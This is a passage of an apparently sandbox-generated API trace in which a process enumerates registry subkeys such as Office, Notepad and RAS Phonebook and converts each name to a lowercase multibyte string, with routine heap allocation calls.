cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0030.348] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet explorer", cchWideChar=17, lpMultiByteStr=0x38c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet explorer", lpUsedDefaultChar=0x0) returned 17 [0030.348] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.348] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.348] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.348] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.348] RegEnumKeyW (in: hKey=0xec, dwIndex=0x14, lpName=0x1d99d18, cchName=0x104 | out: lpName="Internet Mail and News") returned 0x0 [0030.348] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet mail and news", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0030.349] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet mail and news", cchWideChar=22, lpMultiByteStr=0x38c240, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet mail and news", lpUsedDefaultChar=0x0) returned 22 [0030.349] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.349] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.349] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.349] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.349] RegEnumKeyW (in: hKey=0xec, dwIndex=0x15, lpName=0x1d99d18, cchName=0x104 | out: lpName="Java VM") returned 0x0 [0030.349] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="java vm", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0030.349] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="java vm", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="java vm", lpUsedDefaultChar=0x0) returned 7 [0030.349] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.349] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.349] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.349] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.349] RegEnumKeyW (in: hKey=0xec, dwIndex=0x16, lpName=0x1d99d18, cchName=0x104 | out: lpName="Keyboard") returned 0x0 [0030.349] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0030.349] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyboard", cchWideChar=8, lpMultiByteStr=0x38c240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyboard", lpUsedDefaultChar=0x0) returned 8 [0030.349] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.349] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.349] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.349] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.349] RegEnumKeyW (in: hKey=0xec, dwIndex=0x17, lpName=0x1d99d18, cchName=0x104 | out: lpName="MediaPlayer") returned 0x0 [0030.349] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0030.349] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0030.349] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.349] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.349] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.350] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.350] RegEnumKeyW (in: hKey=0xec, dwIndex=0x18, lpName=0x1d99d18, cchName=0x104 | out: lpName="Microsoft Management Console") returned 0x0 [0030.350] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft management console", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0030.350] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft management console", cchWideChar=28, lpMultiByteStr=0x38c240, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft management console", lpUsedDefaultChar=0x0) returned 28 [0030.350] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.350] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.350] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.350] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.350] RegEnumKeyW (in: hKey=0xec, dwIndex=0x19, lpName=0x1d99d18, cchName=0x104 | out: lpName="MS Design Tools") returned 0x0 [0030.350] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ms design tools", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0030.350] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ms design tools", cchWideChar=15, lpMultiByteStr=0x38c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms design tools", lpUsedDefaultChar=0x0) returned 15 [0030.350] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.350] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.350] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.350] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.350] RegEnumKeyW (in: hKey=0xec, dwIndex=0x1a, lpName=0x1d99d18, cchName=0x104 | out: lpName="MSDAIPP") returned 0x0 [0030.350] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdaipp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0030.350] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdaipp", cchWideChar=7, lpMultiByteStr=0x38c240, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdaipp", lpUsedDefaultChar=0x0) returned 7 [0030.350] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.350] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.350] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.350] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.350] RegEnumKeyW (in: hKey=0xec, dwIndex=0x1b, lpName=0x1d99d18, cchName=0x104 | out: lpName="MSF") returned 0x0 [0030.350] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0030.350] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0030.351] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.351] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.351] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.351] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.351] RegEnumKeyW (in: hKey=0xec, dwIndex=0x1c, lpName=0x1d99d18, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0030.351] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0030.351] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x38c240, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0030.351] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.351] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.351] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.351] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.351] RegEnumKeyW (in: hKey=0xec, dwIndex=0x1d, lpName=0x1d99d18, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0030.351] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0030.351] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0030.351] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.351] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.351] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.351] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.351] RegEnumKeyW (in: hKey=0xec, dwIndex=0x1e, lpName=0x1d99d18, cchName=0x104 | out: lpName="Office") returned 0x0 [0030.351] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0030.351] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x38c240, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0030.351] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.351] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.351] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.351] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.351] RegEnumKeyW (in: hKey=0xec, dwIndex=0x1f, lpName=0x1d99d18, cchName=0x104 | out: lpName="PeerNet") returned 0x0 [0030.352] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peernet", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0030.352] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="peernet", cchWideChar=7, lpMultiByteStr=0x38c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="peernet", lpUsedDefaultChar=0x0) returned 7 [0030.352] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.352] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.352] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.352] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.352] RegEnumKeyW (in: hKey=0xec, dwIndex=0x20, lpName=0x1d99d18, cchName=0x104 | out: lpName="Protected Storage System Provider") returned 0x0 [0030.352] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protected storage system provider", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0030.352] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="protected storage system provider", cchWideChar=33, lpMultiByteStr=0x38c240, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="protected storage system provider", lpUsedDefaultChar=0x0) returned 33 [0030.352] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.352] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.352] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.352] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.352] RegEnumKeyW (in: hKey=0xec, dwIndex=0x21, lpName=0x1d99d18, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0030.352] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0030.352] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras autodial", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras autodial", lpUsedDefaultChar=0x0) returned 12 [0030.352] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.352] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.352] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.352] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.352] RegEnumKeyW (in: hKey=0xec, dwIndex=0x22, lpName=0x1d99d18, cchName=0x104 | out: lpName="RAS Phonebook") returned 0x0 [0030.352] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras phonebook", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0030.352] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ras phonebook", cchWideChar=13, lpMultiByteStr=0x38c240, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ras phonebook", lpUsedDefaultChar=0x0) returned 13 [0030.352] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.353] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.353] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.353] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.353] RegEnumKeyW (in: hKey=0xec, dwIndex=0x23, lpName=0x1d99d18, cchName=0x104 | out: lpName="Remote Assistance") returned 0x0 [0030.353] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remote assistance", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0030.353] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="remote assistance", cchWideChar=17, lpMultiByteStr=0x38c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="remote assistance", lpUsedDefaultChar=0x0) returned 17 [0030.353] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.353] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.353] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.353] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.353] RegEnumKeyW (in: hKey=0xec, dwIndex=0x24, lpName=0x1d99d18, cchName=0x104 | out: lpName="Shared") returned 0x0 [0030.353] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0030.353] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x38c240, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0030.353] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.353] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.353] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.353] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.353] RegEnumKeyW (in: hKey=0xec, dwIndex=0x25, lpName=0x1d99d18, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0030.353] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0030.353] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0030.353] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.353] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.353] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.353] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.353] RegEnumKeyW (in: hKey=0xec, dwIndex=0x26, lpName=0x1d99d18, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0030.353] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0030.354] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x38c240, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0030.354] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.354] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.354] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.354] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.354] RegEnumKeyW (in: hKey=0xec, dwIndex=0x27, lpName=0x1d99d18, cchName=0x104 | out: lpName="Speech") returned 0x0 [0030.354] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0030.354] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0030.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x38c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0030.354] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.354] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0030.354] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c240) returned 1 [0030.354] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e840) returned 1 [0030.354] RegEnumKeyW (in: hKey=0xec, dwIndex=0x28, lpName=0x1d99d18, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0030.354] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e840 [0030.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0030.354] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c240 [0030.354] WideCharToMultiByte (in: CodePage=0x0, 